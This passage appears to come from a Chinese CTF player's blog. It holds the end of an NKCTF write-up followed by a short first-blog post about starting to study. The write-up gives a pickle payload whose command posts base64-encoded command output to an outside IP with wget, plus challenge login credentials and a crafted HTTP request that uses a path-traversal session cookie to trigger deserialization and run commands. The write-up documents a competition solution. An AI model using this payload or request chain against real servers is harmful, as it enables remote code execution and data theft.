if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
HOST = '1.1.1.1:8000'
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"wget http://121.40.98.237:7777 --post-data=`ls /usr/bin|base64|tr -d '\n'`"))

运行上面的pickler.py

得到posix.pickle文件后

登录web服务器,账号密码分别为tacooooo@qq.com/tacooooo`

将生成的posix.pickle文件上传

然后发送下面的数据包,就能执行命令了,看服务器对应的回显就行

1
2
3
4
5
6
7
8
9
10
11
GET /browser/ HTTP/1.1
Host: ee86fb88-5fd5-4f9c-9f6d-68b490e101d8.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://9dbb3625-3439-4b7c-bea5-29ec33888059.node.nkctf.yuzhian.com.cn/login
Connection: close
Cookie: pga4_session=../storage/tacooooo_qq.com/posix.pickle!a; PGADMIN_LANGUAGE=zh
Upgrade-Insecure-Requests: 1

在上周的TLS招新赛也出现了pickle反序列化,一直没找到时间真正学习,要把这个提上日程了

Read More
post @ 2024-03-21

第一篇博客

稍微记录一下,最开始本来没有搭建个人博客的想法的,以前不太清楚个人博客的定位是什么,因为如果不是大牛的话好像也没什么人看。但是上周几场比赛把自己打自闭了之后还是深刻地认识到了自己与大佬之间的差距,又燃起了许多学习的欲望。上学期的学习进度总是不太持续,一段时间猛猛学又一段毫无斗志,这次也是希望借由博客来帮助自己持续:输入–>输出 这个过程吧,后面就把一些学习笔记记录上来,或许也会继续更一些生活学习的碎碎念哈哈哈

Anyway搭博客的过程虽然有点折腾,但是比起配CTF各种奇奇怪怪的脚本,工具的环境来说还是很简易了哈哈,基于githubpage的搭建也让我一个脚本纯靠CV大法的人学到一些github仓库的上传,管理操作.

过段时间比较有空了再慢慢捣鼓完善下网站的功能,这周的时间真的被榨干了,一堆作业和周末的比赛和web分享会

感谢搭建过程给予帮助的学长!

3500:3500

顺虞:Robin

Read More
⬆︎TOP